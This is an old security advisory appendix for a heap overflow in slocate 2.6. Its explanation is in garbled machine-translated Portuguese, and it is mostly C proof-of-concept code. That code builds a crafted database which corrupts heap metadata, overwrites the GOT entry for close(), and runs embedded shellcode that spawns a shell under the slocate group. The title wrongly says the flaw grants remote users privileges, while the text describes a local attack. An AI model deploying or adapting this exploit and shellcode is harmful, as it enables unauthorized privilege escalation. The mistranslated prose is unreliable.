Exploit de heap overflow que dá privilégios para usuários remotos.

-----COMEÇA PGP ASSINADO MENSAGEM-----
Hash: SHA1
======================================================================
Segurança consultiva 20031006 - Apêndice Um (prova de conceito)
- ----------------------------------------------------------------------
Produto: slocate
Tipo de Vulnerabilidade: inundação do buffer ( pilha corrompida)
Impacto: ganhando elevado privilégios
Severity: meio (exploração provada)
Emita data: 2003/10/11
Última Atualização: 2003/10/11

Segurança consultiva: SA-20031006
======================================================================

Descrição
- -----------
Sr. Hornik tem descoberto vulnerabilidade SA-20031006 em pacote do slocate
versão 2.6. Isto é prova que exploração é possível e assim
usuários não autorizados podem código do arbitraty de corrida sob grupo do slocate
privilégios e assim lêem slocate global database.Exploitation
- ------------
A exploração que permite dados de administração de memória do overwriting de
a pilha foi descrita em consultiva original. Nós somos reffering para
linhas de fonte de slocate-2.6-1.src.rpm do RH 7.3 aqui também. O
anexado constantes de código de fonte estão ao RH 7.3 em i686 em 2003/10/10,
exceto aquelas algumas partes deles estão * aqui.
A idéia principal atrás a exploração está não reta, assim Eu
descreva isto baixo. O código de fonte anexado prepara test.db com
seguintes propriedades. Isto explora o bug por:
slocate -eu -d test.db `perl -e 'impressão "B"x1024''
1, Nós overwrite um byte dos cabeçalhos de administração do buffer a inundação
permite ao overwrite - isto é o mais alto byte de tamanho de memória bloqueia de
codedpath. Nós vamos realloc de gatilho em main.c:1269 mais tarde.
2, Nós estamos jogando aqui com o codedpath, casestr e bucket_of_holding.
Eles são alocado neste pedido. Quando casestr é bastante grande, isto está
colocado na pilha depois codedpath. Por banco de dados bastante grande
bucket_of_holding é reallocated para 0x4002**** região mais tarde.
3, Nós necessitamos preparar a área onde o codedpath termina segundo
overwriten bloqueia tamanho assim chunk_free chamado do chunk_realloc vai não
falhe por causa de acessando memória inacessível ou descobrindo valores ruins
lá. Mas unicamente o o mais alto byte de memória bloqueia tamanho pode ser mudado,
assim o tamanho muda vontade seja multiplicada de 0x1000000. Os dados necessitados (dois
pequenos blocos somente depois overwriten codepath, primeiro bloco de memória marcado
como utilizado) são colocado em 0x400***** por ter eles em apropriado
posicione em banco de dados. A mudança em tamanho está 0x38 * 0x1000000.
4, Nós realloc de gatilho em main.c:1269, assim overwriten bloqueia valor de tamanho
é utilizado. Nós realloc de gatilho por prepara caminho que é mais longo que
tamanho inicial (4096 bytes). Nós somos reallocating para dimensionar que está
menor que o overwriten dimensiona e bastante grande para terminar depois casestr
fins.
5, Então nós podemos overwrite casestr e memória depois isto por escrever para
codedpath porque administração de memória pensa codedpath está tão logo. Nós
overwrite o tamanho de memória bloqueará de casestr para 0x508 (de
0x408). Mais Tarde libera(casestr) é chamado e isto parece isto é topo em seu
área de memória assim libera procede diferentemente que nós desejamos. Nós mudamos isto assim
comparação de endereço de próximo bloco com topo simplesmente falha.
6, Nós colocamos memória falsa bloqueia depois casestr tal que libera(casestr)
overwrites endereça de fecha() em OBTIDO apontar para nosso código arbitrário
(por valor engana para trás e ponteiros adiantados em próximos (liberam) bloco
depois casestr). Em main.c:1357 fecha(fd) é chamado e nosso código obtem
o controle. Nós setregid(slocate,slocate) e corre a concha. Isso
it.References

- ----------
Security advisory:
http://www.ebitech.sk/patrik/SA/SA-20031006.txt
This proof of exploitation:
http://www.ebitech.sk/patrik/SA/SA-20031006-A.txtContact
- -------
Patrik Hornik
- --
Security Consultant
Email: [email protected]
Phone: +421 905 385 666
PGP KeyID: DFA5BC67

Source code
- -----------
#include <stdio.h>
#define CODEDPATH 0x0805**20
#define DATABASE 0x4002**08
#define JUMP_BY 0x38
#define GOT_CLOSE "\x5c\x**\x04\x08"#define CODED_LENGTH 0x1008
#define PATTERN_LENGTH 0x508#define STEP_LENGTH 0x1000000

int path_len = 0;
int file_pos = 0;
FILE *f;
void write_buffer(int move,char *buffer,int len,int stop)
{
char b[3];

if (move > 127 || move < -127)
{
b[0] = -128;
b[1] = (char)(move >> 8);
b[2] = (char)(move % 256);
fwrite(b,1,3,f);
file_pos += 3;
}
else
{
b[0] = (char)move;
fwrite(b,1,1,f);
file_pos += 1;
}

if (stop)
buffer[len] = 0;

fwrite(buffer,1,len + 1,f);
file_pos += len + 1;
path_len += move;
}
void skip_to_filepos(int move,int pos)
{
char b[1024];

while (pos > file_pos + 1002)
{
memset(b,'A',998);
write_buffer(move,b,998,1);
}
write_buffer(move,b,pos - file_pos - 2,1);
}
void write_to_addr(int address,char *str)
{
write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0);
}
void write_int(char *buffer,int n)
{
int i;

for (i=0;i<4;i++)
{
buffer[i] = (char)(n % 256);
n >>= 8;

if (buffer[i] == 0)
{
printf("Warning, zero byte!\n");
exit(-1);
}
}
}

int main(int argc,char **argv)
{
char b[32768];
int i;
f = fopen("test.db","w");

b[0] = '0';
fwrite(b,1,1,f);
write_buffer(0,b,0,1);

skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH - DATABASE);

memset(b,0,8);
b[4] = 17;
memset(b + 8,0,8);
fwrite(b,1,16,f);
fwrite(b,1,16,f);
file_pos += 32;
path_len += 34;
skip_to_filepos(0,file_pos + 1000000);
b[0] = JUMP_BY;
b[1] = 'A';
write_buffer(-path_len - 1,b,2,1);
memset(b,'A',2);
write_buffer(16384,b,2,1);
write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE);

write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16);
b[4] = 0;
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b);

write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,"");
write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,"");

write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16,
"\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e

\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh");

fclose(f);
}

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i
iQA/AwUBP4gb4CTdn3LfpbxnEQIHogCg6HpvneLyqND3NOnv5ZnLR9GruLAAnjbu
xq5v7FMLGmqso2i1qWKqfZqk
=/xd8
-----END PGP SIGNATURE-----

 

Cracks's S.A

Hosted by www.Geocities.ws

1